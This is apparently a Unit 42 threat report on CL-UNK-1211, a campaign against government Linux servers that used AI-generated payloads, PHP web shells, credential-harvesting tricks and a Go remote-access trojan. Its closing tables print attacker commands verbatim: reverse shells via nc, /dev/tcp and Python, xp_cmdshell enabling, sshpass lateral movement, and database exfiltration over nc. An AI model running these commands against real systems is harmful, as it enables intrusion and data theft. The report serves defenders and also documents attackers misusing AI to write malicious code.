Executive Summary
Unit 42 identified a campaign targeting government entities and state-affiliated infrastructure, with observed activity spanning from October 2025–April 2026. We track this activity as CL-UNK-1211.
In the operations we witnessed, the attackers relied on AI-generated payloads. Multiple artifacts deployed throughout the intrusion contained AI-made conversational annotations and developer reasoning comments, suggesting that the code was either generated using large language models (LLMs) or executed by an automated AI agent.
The attackers behind this cluster of activity focused on Linux environments to conduct extensive reconnaissance and maintain persistent network access to support intelligence-gathering. The attackers attempted to dump sensitive databases and exfiltrate government mailboxes to access social media accounts.
The campaign included a diverse toolkit that combined open-source tools, custom cross-platform backdoors and widespread web shell deployments. We observed various defense evasion techniques, including attempts to disable endpoint protections, erase system logs and plant deceptive red-team markers to disguise activity as a legitimate security assessment.
Our attribution of this activity to CL-UNK-1211 is in accordance with the Unit 42 attribution framework. We designate the term UNK to clusters of activity whose affiliation with either nation-state or cybercrime activity we have not yet determined.
This investigation uncovers the defining tools, techniques and attack patterns of this activity cluster.
Palo Alto Networks customers are better protected from the threats discussed above through the following products and services:
- Advanced WildFire
- Advanced URL Filtering, Advanced DNS Security and Advanced IP Defense
- Cortex XDR Analytics Engine
- Cortex XDR and XSIAM
- Cortex Cloud
The Unit 42 AI Security Assessment and Unit 42 Frontier AI Defense service can help identify and mitigate complex AI-enabled risks.
If you think you might have been compromised or have an urgent matter, contact the Unit 42 Incident Response team.
| Related Unit 42 Topics | AI, Credential Harvesting, Linux |
Technical Analysis Overview
Our analysis of the CL-UNK-1211 cluster of activity reveals a versatile operational playbook tailored to enterprise Linux and database environments. The attackers targeted government entities and state-affiliated infrastructure, maintaining persistent access by using a combination of custom cross-platform backdoors, open-source utilities and widespread web shell deployments.
The attackers enumerated mailboxes to identify and gain access to social media accounts tied to government email addresses. In addition, they dumped entire database contents before attempting to exfiltrate the data.
The attackers behind CL-UNK-1211 exhibited a methodical approach to defense evasion. This included attempting to disable endpoint protections on compromised systems, and to tamper with system logs that might contain evidence of the attack.
We provide a comprehensive analysis of the defining tools, techniques and procedures (TTPs) used throughout the operation, highlighting how the attackers leveraged AI to streamline payload creation across their execution workflow. Our analysis details key mechanisms across the attack chain. These include:
- Initial access via web shell deployment and credential harvesting
- Custom RAT execution
- Mailbox targeting
- Anti-forensics measures
Using AI to Streamline Payload Creation
Throughout the operation, the attackers relied on malicious PHP and shell scripts to maintain persistence, perform reconnaissance and exfiltrate data. These payloads revealed structural patterns and artifacts consistent with AI-assisted code generation.
Rather than standard developer documentation, multiple scripts contained conversational, step-by-step reasoning notes. These notes explained the code’s logic to the operator who provided the initial instructions. Their presence suggests that the code was either copied directly from an AI prompt output or deployed by an automated AI agent.
In addition, we identified several common characteristics that are consistent with AI-operated attacks, such as:
- Section headers in scripts and shell commands, which AI uses to analyze the output faster
- Extensive use of Base64-encoded commands
- Seamless switching between different technologies throughout the attack, including PHP, JavaScript, Bash and Python
Figure 1 shows snippets of code from scripts used by the attackers that contained AI-generated comments.
Dropping Multiple Web Shells for Initial Access
To gain access and maintain a persistent backdoor into the host networks, the attackers deployed a variety of web shells on the targeted Linux servers. These were a combination of custom and open-source web shells found on GitHub. Figure 2 shows interactive web shell activity from the php-fpm parent process.
To achieve persistence, the attackers modified the auto_prepend_file value across all PHP configurations under the directories /etc/php/ and /opt/plesk/php/. These directories store all default PHP configuration files and Plesk (web hosting control panel) configuration files. Any file that is specified in the modified auto_prepend_file value will automatically load and execute before any other PHP script runs.
In one instance, the attackers deployed a malicious PHP web shell as a file named /usr/lib/php/plesk_sys_driver.php to appear legitimate. They also modified the auto_prepend_file to load the malicious web shell to ensure persistence. Figure 3 shows the attacker-deployed PHP script, including the original inline comments.
Credential Harvesting Techniques
The attackers used multiple methods to gather credentials in the targeted environments, including:
- Editing the .bashrc file
- Inserting malicious lines of code into PHP scripts
- Scanning the network for cleartext passwords
Hijacked .bashrc File
The attackers replaced the .bashrc file with a copy containing a malicious command that steals victims’ passwords. In one instance, they created an alias for the sudo command that was designed to execute each time a user attempted to run it. The malicious command:
- Displays a prompt for the user to insert their password (mimicking the standard system authentication prompt)
- Captures the inserted password
- Writes it to the attackers’ log file
The harvested password is then passed to the legitimate sudo command for execution, leaving the victim unaware of the underlying interception. The attackers named the log file Solarwinds.StatusLog.txt, to mimic legitimate SolarWinds activity in the environment. We have no evidence of SolarWinds systems and infrastructure being compromised during this operation; the attackers misused the organization’s name as an evasion method.
Figure 4 shows the command hijacking technique inside the .bashrc file.
PHP Credential Logger
The attackers inserted a line of code into a PHP login page — most likely targeting a database authentication routine — to harvest admin credentials. If an administrator logs in, the code forwards the username and password to the attackers’ log file. Figure 5 shows a snippet of a PHP script including the code added by the attackers.
Scanning for Cleartext Passwords
The attackers searched for email, SMTP and database passwords inside configuration files and command history files. Figure 6 shows an example of commands that the attackers used to search for cleartext passwords.
SysGoRAT Malware
The attackers deployed a custom-developed, multi-platform remote access Trojan (RAT) written in Go, first observed under the benign file name sys-control-client. We named this malware SysGoRAT. This malware supports cross-platform execution on Windows and Linux and employs multiple persistence methods to maintain long-term access.
The malware established a command and control (C2) connection over WebSocket to wss://<addr>/ws. This WebSocket address defaults to a hardcoded IP address 104.194.158[.]65:443, which the malware operator can modify via a command-line parameter at execution. SysGoRAT supports a fixed set of seven command types, described in Table 1.
| Action | Behavior |
| command | Executes arbitrary commands via /bin/sh -c (Linux) or cmd /C (Windows) |
| control | Dispatches one of four sub-actions (see Control Sub-Actions in Appendix A) |
| list_dir | Lists directory content |
| shell_input | Creates an interactive shell session |
| proxy_connect | Establishes a TCP connection to an arbitrary target |
| proxy_data | Relays data bidirectionally to an established proxy connection |
| proxy_close | Terminates and removes a proxy session |
Table 1. SysGoRAT command types.
|
1 |
rm/tmp/f;mkfifo/tmp/f;cat/tmp/f|bash-i2>&1|nc<C2><port>>/tmp/f |
|
1 |
bash-i>&/dev/tcp/[IP]/[PORT]0>&1 |
|
1 |
python3-c"import socket,subprocess,os; s=socket.socket(...); s.connect(('[IP]',[PORT])); os.dup2(...); subprocess.call(['/bin/bash','-i'])") |
| Action | Behavior |
| shell_start | Spawns an interactive /bin/bash process |
| screenshot | Captures the current display as an image and returns it to the C2 |
| download | Reads a specified file, optionally compresses it with gzip, and exfiltrates it to the C2 |
| persist | Installs persistence using one of six supported methods (see next table) |
| Method | Operating System | Behavior |
| systemd | Linux | The malware copies itself to /usr/local/bin/; writes a unit (service) file to /etc/systemd/system/sys-update.service; reloads and enables the service |
| cron | Linux | Creates a crontab entry with a five-minute execution interval |
| registry | Windows | The malware copies itself to %APPDATA%\Onedrive Update\Updater.exe and adds a Run key to HKCU |
| schtasks | Windows | Creates a daily scheduled task named Onedrive |
| complex | Linux/Windows | Automatically selects the optimal method based on the detected OS without checking user permissions |
| auto | Linux/Windows | Automatically selects the optimal method based on the detected OS and user permissions |
|
1 |
EXEC sp_configure'show advanced options',1;RECONFIGURE;EXEC sp_configure'xp_cmdshell',1;RECONFIGURE;. |
|
1 |
EXEC xp_cmdshell'sqlcmd -S \[SERVER_IP] -U \[USERNAME] -P "\[PASSWORD]" -Q "EXEC xp_cmdshell ''whoami''" -t 10 2>&1' |
|
1 |
sshpass-p[PASSWORD]ssh-oStrictHostKeyChecking=no-oConnectTimeout=5[USERNAME]]@[IP_ADDRESS][COMMAND]2>&1") |
|
1 2 |
tar-czf/tmp/[DB_NAME]_dump.tar.gz-C/tmp[DB_NAME] nc[IP][PORT]</tmp/[DB_NAME]_dump.tar.gz |